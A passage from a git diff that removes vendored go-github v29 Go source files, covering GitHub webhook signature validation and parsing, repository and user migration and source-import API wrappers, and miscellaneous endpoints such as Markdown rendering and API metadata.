an error is returned. -// secretToken is the GitHub Webhook secret token. -// If your webhook does not contain a secret token, you can pass nil or an empty slice. -// This is intended for local development purposes only and all webhooks should ideally set up a secret token. -// -// Example usage: -// -// func (s *GitHubEventMonitor) ServeHTTP(w http.ResponseWriter, r *http.Request) { -// payload, err := github.ValidatePayload(r, s.webhookSecretKey) -// if err != nil { ... } -// // Process payload... -// } -// -func ValidatePayload(r *http.Request, secretToken []byte) (payload []byte, err error) { - var body []byte // Raw body that GitHub uses to calculate the signature. - - switch ct := r.Header.Get("Content-Type"); ct { - case "application/json": - var err error - if body, err = ioutil.ReadAll(r.Body); err != nil { - return nil, err - } - - // If the content type is application/json, - // the JSON payload is just the original body. - payload = body - - case "application/x-www-form-urlencoded": - // payloadFormParam is the name of the form parameter that the JSON payload - // will be in if a webhook has its content type set to application/x-www-form-urlencoded. - const payloadFormParam = "payload" - - var err error - if body, err = ioutil.ReadAll(r.Body); err != nil { - return nil, err - } - - // If the content type is application/x-www-form-urlencoded, - // the JSON payload will be under the "payload" form param. - form, err := url.ParseQuery(string(body)) - if err != nil { - return nil, err - } - payload = []byte(form.Get(payloadFormParam)) - - default: - return nil, fmt.Errorf("Webhook request has unsupported Content-Type %q", ct) - } - - // Only validate the signature if a secret token exists. This is intended for - // local development only and all webhooks should ideally set up a secret token. - if len(secretToken) > 0 { - sig := r.Header.Get(signatureHeader) - if err := ValidateSignature(sig, body, secretToken); err != nil { - return nil, err - } - } - - return payload, nil -} - -// ValidateSignature validates the signature for the given payload. -// signature is the GitHub hash signature delivered in the X-Hub-Signature header. -// payload is the JSON payload sent by GitHub Webhooks. -// secretToken is the GitHub Webhook secret token. -// -// GitHub API docs: https://developer.github.com/webhooks/securing/#validating-payloads-from-github -func ValidateSignature(signature string, payload, secretToken []byte) error { - messageMAC, hashFunc, err := messageMAC(signature) - if err != nil { - return err - } - if !checkMAC(payload, messageMAC, secretToken, hashFunc) { - return errors.New("payload signature check failed") - } - return nil -} - -// WebHookType returns the event type of webhook request r. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#webhook-headers -func WebHookType(r *http.Request) string { - return r.Header.Get(eventTypeHeader) -} - -// DeliveryID returns the unique delivery ID of webhook request r. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#webhook-headers -func DeliveryID(r *http.Request) string { - return r.Header.Get(deliveryIDHeader) -} - -// ParseWebHook parses the event payload. For recognized event types, a -// value of the corresponding struct type will be returned (as returned -// by Event.ParsePayload()). An error will be returned for unrecognized event -// types. -// -// Example usage: -// -// func (s *GitHubEventMonitor) ServeHTTP(w http.ResponseWriter, r *http.Request) { -// payload, err := github.ValidatePayload(r, s.webhookSecretKey) -// if err != nil { ... } -// event, err := github.ParseWebHook(github.WebHookType(r), payload) -// if err != nil { ... } -// switch event := event.(type) { -// case *github.CommitCommentEvent: -// processCommitCommentEvent(event) -// case *github.CreateEvent: -// processCreateEvent(event) -// ... -// } -// } -// -func ParseWebHook(messageType string, payload []byte) (interface{}, error) { - eventType, ok := eventTypeMapping[messageType] - if !ok { - return nil, fmt.Errorf("unknown X-Github-Event in message: %v", messageType) - } - - event := Event{ - Type: &eventType, - RawPayload: (*json.RawMessage)(&payload), - } - return event.ParsePayload() -} diff --git a/vendor/github.com/google/go-github/v29/github/migrations.go b/vendor/github.com/google/go-github/v29/github/migrations.go deleted file mode 100644 index ef0095e066..0000000000 --- a/vendor/github.com/google/go-github/v29/github/migrations.go +++ /dev/null @@ -1,228 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "errors" - "fmt" - "net/http" - "strings" -) - -// MigrationService provides access to the migration related functions -// in the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/migration/ -type MigrationService service - -// Migration represents a GitHub migration (archival). -type Migration struct { - ID *int64 `json:"id,omitempty"` - GUID *string `json:"guid,omitempty"` - // State is the current state of a migration. - // Possible values are: - // "pending" which means the migration hasn't started yet, - // "exporting" which means the migration is in progress, - // "exported" which means the migration finished successfully, or - // "failed" which means the migration failed. - State *string `json:"state,omitempty"` - // LockRepositories indicates whether repositories are locked (to prevent - // manipulation) while migrating data. - LockRepositories *bool `json:"lock_repositories,omitempty"` - // ExcludeAttachments indicates whether attachments should be excluded from - // the migration (to reduce migration archive file size). - ExcludeAttachments *bool `json:"exclude_attachments,omitempty"` - URL *string `json:"url,omitempty"` - CreatedAt *string `json:"created_at,omitempty"` - UpdatedAt *string `json:"updated_at,omitempty"` - Repositories []*Repository `json:"repositories,omitempty"` -} - -func (m Migration) String() string { - return Stringify(m) -} - -// MigrationOptions specifies the optional parameters to Migration methods. -type MigrationOptions struct { - // LockRepositories indicates whether repositories should be locked (to prevent - // manipulation) while migrating data. - LockRepositories bool - - // ExcludeAttachments indicates whether attachments should be excluded from - // the migration (to reduce migration archive file size). - ExcludeAttachments bool -} - -// startMigration represents the body of a StartMigration request. -type startMigration struct { - // Repositories is a slice of repository names to migrate. - Repositories []string `json:"repositories,omitempty"` - - // LockRepositories indicates whether repositories should be locked (to prevent - // manipulation) while migrating data. - LockRepositories *bool `json:"lock_repositories,omitempty"` - - // ExcludeAttachments indicates whether attachments should be excluded from - // the migration (to reduce migration archive file size). - ExcludeAttachments *bool `json:"exclude_attachments,omitempty"` -} - -// StartMigration starts the generation of a migration archive. -// repos is a slice of repository names to migrate. -// -// GitHub API docs: https://developer.github.com/v3/migration/migrations/#start-a-migration -func (s *MigrationService) StartMigration(ctx context.Context, org string, repos []string, opt *MigrationOptions) (*Migration, *Response, error) { - u := fmt.Sprintf("orgs/%v/migrations", org) - - body := &startMigration{Repositories: repos} - if opt != nil { - body.LockRepositories = Bool(opt.LockRepositories) - body.ExcludeAttachments = Bool(opt.ExcludeAttachments) - } - - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - m := &Migration{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// ListMigrations lists the most recent migrations. -// -// GitHub API docs: https://developer.github.com/v3/migrations/orgs/#get-a-list-of-organization-migrations -func (s *MigrationService) ListMigrations(ctx context.Context, org string, opts *ListOptions) ([]*Migration, *Response, error) { - u := fmt.Sprintf("orgs/%v/migrations", org) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - var m []*Migration - resp, err := s.client.Do(ctx, req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// MigrationStatus gets the status of a specific migration archive. -// id is the migration ID. -// -// GitHub API docs: https://developer.github.com/v3/migration/migrations/#get-the-status-of-a-migration -func (s *MigrationService) MigrationStatus(ctx context.Context, org string, id int64) (*Migration, *Response, error) { - u := fmt.Sprintf("orgs/%v/migrations/%v", org, id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - m := &Migration{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// MigrationArchiveURL fetches a migration archive URL. -// id is the migration ID. -// -// GitHub API docs: https://developer.github.com/v3/migration/migrations/#download-a-migration-archive -func (s *MigrationService) MigrationArchiveURL(ctx context.Context, org string, id int64) (url string, err error) { - u := fmt.Sprintf("orgs/%v/migrations/%v/archive", org, id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return "", err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - s.client.clientMu.Lock() - defer s.client.clientMu.Unlock() - - // Disable the redirect mechanism because AWS fails if the GitHub auth token is provided. - var loc string - saveRedirect := s.client.client.CheckRedirect - s.client.client.CheckRedirect = func(req *http.Request, via []*http.Request) error { - loc = req.URL.String() - return errors.New("disable redirect") - } - defer func() { s.client.client.CheckRedirect = saveRedirect }() - - _, err = s.client.Do(ctx, req, nil) // expect error from disable redirect - if err == nil { - return "", errors.New("expected redirect, none provided") - } - if !strings.Contains(err.Error(), "disable redirect") { - return "", err - } - return loc, nil -} - -// DeleteMigration deletes a previous migration archive. -// id is the migration ID. -// -// GitHub API docs: https://developer.github.com/v3/migration/migrations/#delete-a-migration-archive -func (s *MigrationService) DeleteMigration(ctx context.Context, org string, id int64) (*Response, error) { - u := fmt.Sprintf("orgs/%v/migrations/%v/archive", org, id) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - return s.client.Do(ctx, req, nil) -} - -// UnlockRepo unlocks a repository that was locked for migration. -// id is the migration ID. -// You should unlock each migrated repository and delete them when the migration -// is complete and you no longer need the source data. -// -// GitHub API docs: https://developer.github.com/v3/migration/migrations/#unlock-a-repository -func (s *MigrationService) UnlockRepo(ctx context.Context, org string, id int64, repo string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/migrations/%v/repos/%v/lock", org, id, repo) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/migrations_source_import.go b/vendor/github.com/google/go-github/v29/github/migrations_source_import.go deleted file mode 100644 index fd45e78006..0000000000 --- a/vendor/github.com/google/go-github/v29/github/migrations_source_import.go +++ /dev/null @@ -1,329 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Import represents a repository import request. -type Import struct { - // The URL of the originating repository. - VCSURL *string `json:"vcs_url,omitempty"` - // The originating VCS type. Can be one of 'subversion', 'git', - // 'mercurial', or 'tfvc'. Without this parameter, the import job will - // take additional time to detect the VCS type before beginning the - // import. This detection step will be reflected in the response. - VCS *string `json:"vcs,omitempty"` - // VCSUsername and VCSPassword are only used for StartImport calls that - // are importing a password-protected repository. - VCSUsername *string `json:"vcs_username,omitempty"` - VCSPassword *string `json:"vcs_password,omitempty"` - // For a tfvc import, the name of the project that is being imported. - TFVCProject *string `json:"tfvc_project,omitempty"` - - // LFS related fields that may be preset in the Import Progress response - - // Describes whether the import has been opted in or out of using Git - // LFS. The value can be 'opt_in', 'opt_out', or 'undecided' if no - // action has been taken. - UseLFS *string `json:"use_lfs,omitempty"` - // Describes whether files larger than 100MB were found during the - // importing step. - HasLargeFiles *bool `json:"has_large_files,omitempty"` - // The total size in gigabytes of files larger than 100MB found in the - // originating repository. - LargeFilesSize *int `json:"large_files_size,omitempty"` - // The total number of files larger than 100MB found in the originating - // repository. To see a list of these files, call LargeFiles. - LargeFilesCount *int `json:"large_files_count,omitempty"` - - // Identifies the current status of an import. An import that does not - // have errors will progress through these steps: - // - // detecting - the "detection" step of the import is in progress - // because the request did not include a VCS parameter. The - // import is identifying the type of source control present at - // the URL. - // importing - the "raw" step of the import is in progress. This is - // where commit data is fetched from the original repository. - // The import progress response will include CommitCount (the - // total number of raw commits that will be imported) and - // Percent (0 - 100, the current progress through the import). - // mapping - the "rewrite" step of the import is in progress. This - // is where SVN branches are converted to Git branches, and - // where author updates are applied. The import progress - // response does not include progress information. - // pushing - the "push" step of the import is in progress. This is - // where the importer updates the repository on GitHub. The - // import progress response will include PushPercent, which is - // the percent value reported by git push when it is "Writing - // objects". - // complete - the import is complete, and the repository is ready - // on GitHub. - // - // If there are problems, you will see one of these in the status field: - // - // auth_failed - the import requires authentication in order to - // connect to the original repository. Make an UpdateImport - // request, and include VCSUsername and VCSPassword. - // error - the import encountered an error. The import progress - // response will include the FailedStep and an error message. - // Contact GitHub support for more information. - // detection_needs_auth - the importer requires authentication for - // the originating repository to continue detection. Make an - // UpdatImport request, and include VCSUsername and - // VCSPassword. - // detection_found_nothing - the importer didn't recognize any - // source control at the URL. - // detection_found_multiple - the importer found several projects - // or repositories at the provided URL. When this is the case, - // the Import Progress response will also include a - // ProjectChoices field with the possible project choices as - // values. Make an UpdateImport request, and include VCS and - // (if applicable) TFVCProject. - Status *string `json:"status,omitempty"` - CommitCount *int `json:"commit_count,omitempty"` - StatusText *string `json:"status_text,omitempty"` - AuthorsCount *int `json:"authors_count,omitempty"` - Percent *int `json:"percent,omitempty"` - PushPercent *int `json:"push_percent,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - AuthorsURL *string `json:"authors_url,omitempty"` - RepositoryURL *string `json:"repository_url,omitempty"` - Message *string `json:"message,omitempty"` - FailedStep *string `json:"failed_step,omitempty"` - - // Human readable display name, provided when the Import appears as - // part of ProjectChoices. - HumanName *string `json:"human_name,omitempty"` - - // When the importer finds several projects or repositories at the - // provided URLs, this will identify the available choices. Call - // UpdateImport with the selected Import value. - ProjectChoices []Import `json:"project_choices,omitempty"` -} - -func (i Import) String() string { - return Stringify(i) -} - -// SourceImportAuthor identifies an author imported from a source repository. -// -// GitHub API docs: https://developer.github.com/v3/migration/source_imports/#get-commit-authors -type SourceImportAuthor struct { - ID *int64 `json:"id,omitempty"` - RemoteID *string `json:"remote_id,omitempty"` - RemoteName *string `json:"remote_name,omitempty"` - Email *string `json:"email,omitempty"` - Name *string `json:"name,omitempty"` - URL *string `json:"url,omitempty"` - ImportURL *string `json:"import_url,omitempty"` -} - -func (a SourceImportAuthor) String() string { - return Stringify(a) -} - -// LargeFile identifies a file larger than 100MB found during a repository import. -// -// GitHub API docs: https://developer.github.com/v3/migration/source_imports/#get-large-files -type LargeFile struct { - RefName *string `json:"ref_name,omitempty"` - Path *string `json:"path,omitempty"` - OID *string `json:"oid,omitempty"` - Size *int `json:"size,omitempty"` -} - -func (f LargeFile) String() string { - return Stringify(f) -} - -// StartImport initiates a repository import. -// -// GitHub API docs: https://developer.github.com/v3/migration/source_imports/#start-an-import -func (s *MigrationService) StartImport(ctx context.Context, owner, repo string, in *Import) (*Import, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/import", owner, repo) - req, err := s.client.NewRequest("PUT", u, in) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeImportPreview) - - out := new(Import) - resp, err := s.client.Do(ctx, req, out) - if err != nil { - return nil, resp, err - } - - return out, resp, nil -} - -// ImportProgress queries for the status and progress of an ongoing repository import. -// -// GitHub API docs: https://developer.github.com/v3/migration/source_imports/#get-import-progress -func (s *MigrationService) ImportProgress(ctx context.Context, owner, repo string) (*Import, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/import", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeImportPreview) - - out := new(Import) - resp, err := s.client.Do(ctx, req, out) - if err != nil { - return nil, resp, err - } - - return out, resp, nil -} - -// UpdateImport initiates a repository import. -// -// GitHub API docs: https://developer.github.com/v3/migration/source_imports/#update-existing-import -func (s *MigrationService) UpdateImport(ctx context.Context, owner, repo string, in *Import) (*Import, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/import", owner, repo) - req, err := s.client.NewRequest("PATCH", u, in) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeImportPreview) - - out := new(Import) - resp, err := s.client.Do(ctx, req, out) - if err != nil { - return nil, resp, err - } - - return out, resp, nil -} - -// CommitAuthors gets the authors mapped from the original repository. -// -// Each type of source control system represents authors in a different way. -// For example, a Git commit author has a display name and an email address, -// but a Subversion commit author just has a username. The GitHub Importer will -// make the author information valid, but the author might not be correct. For -// example, it will change the bare Subversion username "hubot" into something -// like "hubot ". -// -// This method and MapCommitAuthor allow you to provide correct Git author -// information. -// -// GitHub API docs: https://developer.github.com/v3/migration/source_imports/#get-commit-authors -func (s *MigrationService) CommitAuthors(ctx context.Context, owner, repo string) ([]*SourceImportAuthor, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/import/authors", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeImportPreview) - - var authors []*SourceImportAuthor - resp, err := s.client.Do(ctx, req, &authors) - if err != nil { - return nil, resp, err - } - - return authors, resp, nil -} - -// MapCommitAuthor updates an author's identity for the import. Your -// application can continue updating authors any time before you push new -// commits to the repository. -// -// GitHub API docs: https://developer.github.com/v3/migration/source_imports/#map-a-commit-author -func (s *MigrationService) MapCommitAuthor(ctx context.Context, owner, repo string, id int64, author *SourceImportAuthor) (*SourceImportAuthor, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/import/authors/%v", owner, repo, id) - req, err := s.client.NewRequest("PATCH", u, author) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeImportPreview) - - out := new(SourceImportAuthor) - resp, err := s.client.Do(ctx, req, out) - if err != nil { - return nil, resp, err - } - - return out, resp, nil -} - -// SetLFSPreference sets whether imported repositories should use Git LFS for -// files larger than 100MB. Only the UseLFS field on the provided Import is -// used. -// -// GitHub API docs: https://developer.github.com/v3/migration/source_imports/#set-git-lfs-preference -func (s *MigrationService) SetLFSPreference(ctx context.Context, owner, repo string, in *Import) (*Import, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/import/lfs", owner, repo) - req, err := s.client.NewRequest("PATCH", u, in) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeImportPreview) - - out := new(Import) - resp, err := s.client.Do(ctx, req, out) - if err != nil { - return nil, resp, err - } - - return out, resp, nil -} - -// LargeFiles lists files larger than 100MB found during the import. -// -// GitHub API docs: https://developer.github.com/v3/migration/source_imports/#get-large-files -func (s *MigrationService) LargeFiles(ctx context.Context, owner, repo string) ([]*LargeFile, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/import/large_files", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeImportPreview) - - var files []*LargeFile - resp, err := s.client.Do(ctx, req, &files) - if err != nil { - return nil, resp, err - } - - return files, resp, nil -} - -// CancelImport stops an import for a repository. -// -// GitHub API docs: https://developer.github.com/v3/migration/source_imports/#cancel-an-import -func (s *MigrationService) CancelImport(ctx context.Context, owner, repo string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/import", owner, repo) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeImportPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/migrations_user.go b/vendor/github.com/google/go-github/v29/github/migrations_user.go deleted file mode 100644 index d45555f216..0000000000 --- a/vendor/github.com/google/go-github/v29/github/migrations_user.go +++ /dev/null @@ -1,214 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "errors" - "fmt" - "net/http" -) - -// UserMigration represents a GitHub migration (archival). -type UserMigration struct { - ID *int64 `json:"id,omitempty"` - GUID *string `json:"guid,omitempty"` - // State is the current state of a migration. - // Possible values are: - // "pending" which means the migration hasn't started yet, - // "exporting" which means the migration is in progress, - // "exported" which means the migration finished successfully, or - // "failed" which means the migration failed. - State *string `json:"state,omitempty"` - // LockRepositories indicates whether repositories are locked (to prevent - // manipulation) while migrating data. - LockRepositories *bool `json:"lock_repositories,omitempty"` - // ExcludeAttachments indicates whether attachments should be excluded from - // the migration (to reduce migration archive file size). - ExcludeAttachments *bool `json:"exclude_attachments,omitempty"` - URL *string `json:"url,omitempty"` - CreatedAt *string `json:"created_at,omitempty"` - UpdatedAt *string `json:"updated_at,omitempty"` - Repositories []*Repository `json:"repositories,omitempty"` -} - -func (m UserMigration) String() string { - return Stringify(m) -} - -// UserMigrationOptions specifies the optional parameters to Migration methods. -type UserMigrationOptions struct { - // LockRepositories indicates whether repositories should be locked (to prevent - // manipulation) while migrating data. - LockRepositories bool - - // ExcludeAttachments indicates whether attachments should be excluded from - // the migration (to reduce migration archive file size). - ExcludeAttachments bool -} - -// startUserMigration represents the body of a StartMigration request. -type startUserMigration struct { - // Repositories is a slice of repository names to migrate. - Repositories []string `json:"repositories,omitempty"` - - // LockRepositories indicates whether repositories should be locked (to prevent - // manipulation) while migrating data. - LockRepositories *bool `json:"lock_repositories,omitempty"` - - // ExcludeAttachments indicates whether attachments should be excluded from - // the migration (to reduce migration archive file size). - ExcludeAttachments *bool `json:"exclude_attachments,omitempty"` -} - -// StartUserMigration starts the generation of a migration archive. -// repos is a slice of repository names to migrate. -// -// GitHub API docs: https://developer.github.com/v3/migrations/users/#start-a-user-migration -func (s *MigrationService) StartUserMigration(ctx context.Context, repos []string, opt *UserMigrationOptions) (*UserMigration, *Response, error) { - u := "user/migrations" - - body := &startUserMigration{Repositories: repos} - if opt != nil { - body.LockRepositories = Bool(opt.LockRepositories) - body.ExcludeAttachments = Bool(opt.ExcludeAttachments) - } - - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - m := &UserMigration{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// ListUserMigrations lists the most recent migrations. -// -// GitHub API docs: https://developer.github.com/v3/migrations/users/#get-a-list-of-user-migrations -func (s *MigrationService) ListUserMigrations(ctx context.Context) ([]*UserMigration, *Response, error) { - u := "user/migrations" - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - var m []*UserMigration - resp, err := s.client.Do(ctx, req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// UserMigrationStatus gets the status of a specific migration archive. -// id is the migration ID. -// -// GitHub API docs: https://developer.github.com/v3/migrations/users/#get-the-status-of-a-user-migration -func (s *MigrationService) UserMigrationStatus(ctx context.Context, id int64) (*UserMigration, *Response, error) { - u := fmt.Sprintf("user/migrations/%v", id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - m := &UserMigration{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// UserMigrationArchiveURL gets the URL for a specific migration archive. -// id is the migration ID. -// -// GitHub API docs: https://developer.github.com/v3/migrations/users/#download-a-user-migration-archive -func (s *MigrationService) UserMigrationArchiveURL(ctx context.Context, id int64) (string, error) { - url := fmt.Sprintf("user/migrations/%v/archive", id) - - req, err := s.client.NewRequest("GET", url, nil) - if err != nil { - return "", err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - m := &UserMigration{} - - var loc string - originalRedirect := s.client.client.CheckRedirect - s.client.client.CheckRedirect = func(req *http.Request, via []*http.Request) error { - loc = req.URL.String() - return http.ErrUseLastResponse - } - defer func() { - s.client.client.CheckRedirect = originalRedirect - }() - resp, err := s.client.Do(ctx, req, m) - if err == nil { - return "", errors.New("expected redirect, none provided") - } - loc = resp.Header.Get("Location") - return loc, nil -} - -// DeleteUserMigration will delete a previous migration archive. -// id is the migration ID. -// -// GitHub API docs: https://developer.github.com/v3/migrations/users/#delete-a-user-migration-archive -func (s *MigrationService) DeleteUserMigration(ctx context.Context, id int64) (*Response, error) { - url := fmt.Sprintf("user/migrations/%v/archive", id) - - req, err := s.client.NewRequest("DELETE", url, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - return s.client.Do(ctx, req, nil) -} - -// UnlockUserRepo will unlock a repo that was locked for migration. -// id is migration ID. -// You should unlock each migrated repository and delete them when the migration -// is complete and you no longer need the source data. -// -// GitHub API docs: https://developer.github.com/v3/migrations/users/#unlock-a-user-repository -func (s *MigrationService) UnlockUserRepo(ctx context.Context, id int64, repo string) (*Response, error) { - url := fmt.Sprintf("user/migrations/%v/repos/%v/lock", id, repo) - - req, err := s.client.NewRequest("DELETE", url, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/misc.go b/vendor/github.com/google/go-github/v29/github/misc.go deleted file mode 100644 index e9b0ea22a6..0000000000 --- a/vendor/github.com/google/go-github/v29/github/misc.go +++ /dev/null @@ -1,257 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "bytes" - "context" - "fmt" - "net/url" -) - -// MarkdownOptions specifies optional parameters to the Markdown method. -type MarkdownOptions struct { - // Mode identifies the rendering mode. Possible values are: - // markdown - render a document as plain Markdown, just like - // README files are rendered. - // - // gfm - to render a document as user-content, e.g. like user - // comments or issues are rendered. In GFM mode, hard line breaks are - // always taken into account, and issue and user mentions are linked - // accordingly. - // - // Default is "markdown". - Mode string - - // Context identifies the repository context. Only taken into account - // when rendering as "gfm". - Context string -} - -type markdownRequest struct { - Text *string `json:"text,omitempty"` - Mode *string `json:"mode,omitempty"` - Context *string `json:"context,omitempty"` -} - -// Markdown renders an arbitrary Markdown document. -// -// GitHub API docs: https://developer.github.com/v3/markdown/ -func (c *Client) Markdown(ctx context.Context, text string, opt *MarkdownOptions) (string, *Response, error) { - request := &markdownRequest{Text: String(text)} - if opt != nil { - if opt.Mode != "" { - request.Mode = String(opt.Mode) - } - if opt.Context != "" { - request.Context = String(opt.Context) - } - } - - req, err := c.NewRequest("POST", "markdown", request) - if err != nil { - return "", nil, err - } - - buf := new(bytes.Buffer) - resp, err := c.Do(ctx, req, buf) - if err != nil { - return "", resp, err - } - - return buf.String(), resp, nil -} - -// ListEmojis returns the emojis available to use on GitHub. -// -// GitHub API docs: https://developer.github.com/v3/emojis/ -func (c *Client) ListEmojis(ctx context.Context) (map[string]string, *Response, error) { - req, err := c.NewRequest("GET", "emojis", nil) - if err != nil { - return nil, nil, err - } - - var emoji map[string]string - resp, err := c.Do(ctx, req, &emoji) - if err != nil { - return nil, resp, err - } - - return emoji, resp, nil -} - -// CodeOfConduct represents a code of conduct. -type CodeOfConduct struct { - Name *string `json:"name,omitempty"` - Key *string `json:"key,omitempty"` - URL *string `json:"url,omitempty"` - Body *string `json:"body,omitempty"` -} - -func (c *CodeOfConduct) String() string { - return Stringify(c) -} - -// ListCodesOfConduct returns all codes of conduct. -// -// GitHub API docs: https://developer.github.com/v3/codes_of_conduct/#list-all-codes-of-conduct -func (c *Client) ListCodesOfConduct(ctx context.Context) ([]*CodeOfConduct, *Response, error) { - req, err := c.NewRequest("GET", "codes_of_conduct", nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeCodesOfConductPreview) - - var cs []*CodeOfConduct - resp, err := c.Do(ctx, req, &cs) - if err != nil { - return nil, resp, err - } - - return cs, resp, nil -} - -// GetCodeOfConduct returns an individual code of conduct. -// -// https://developer.github.com/v3/codes_of_conduct/#get-an-individual-code-of-conduct -func (c *Client) GetCodeOfConduct(ctx context.Context, key string) (*CodeOfConduct, *Response, error) { - u := fmt.Sprintf("codes_of_conduct/%s", key) - req, err := c.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeCodesOfConductPreview) - - coc := new(CodeOfConduct) - resp, err := c.Do(ctx, req, coc) - if err != nil { - return nil, resp, err - } - - return coc, resp, nil -} - -// APIMeta represents metadata about the GitHub API. -type APIMeta struct { - // An Array of IP addresses in CIDR format specifying the addresses - // that incoming service hooks will originate from on GitHub.com. - Hooks []string `json:"hooks,omitempty"` - - // An Array of IP addresses in CIDR format specifying the Git servers - // for GitHub.com. - Git []string `json:"git,omitempty"` - - // Whether authentication with username and password is supported. - // (GitHub Enterprise instances using CAS or OAuth for authentication - // will return false. Features like Basic Authentication with a - // username and password, sudo mode, and two-factor authentication are - // not supported on these servers.) - VerifiablePasswordAuthentication *bool `json:"verifiable_password_authentication,omitempty"` - - // An array of IP addresses in CIDR format specifying the addresses - // which serve GitHub Pages websites. - Pages []string `json:"pages,omitempty"` - - // An Array of IP addresses specifying the addresses that source imports - // will originate from on GitHub.com. - Importer []string `json:"importer,omitempty"` -} - -// APIMeta returns information about GitHub.com, the service. Or, if you access -// this endpoint on your organization’s GitHub Enterprise installation, this -// endpoint provides information about that installation. -// -// GitHub API docs: https://developer.github.com/v3/meta/ -func (c *Client) APIMeta(ctx context.Context) (*APIMeta, *Response, error) { - req, err := c.NewRequest("GET", "meta", nil) - if err != nil { - return nil, nil, err - } - - meta := 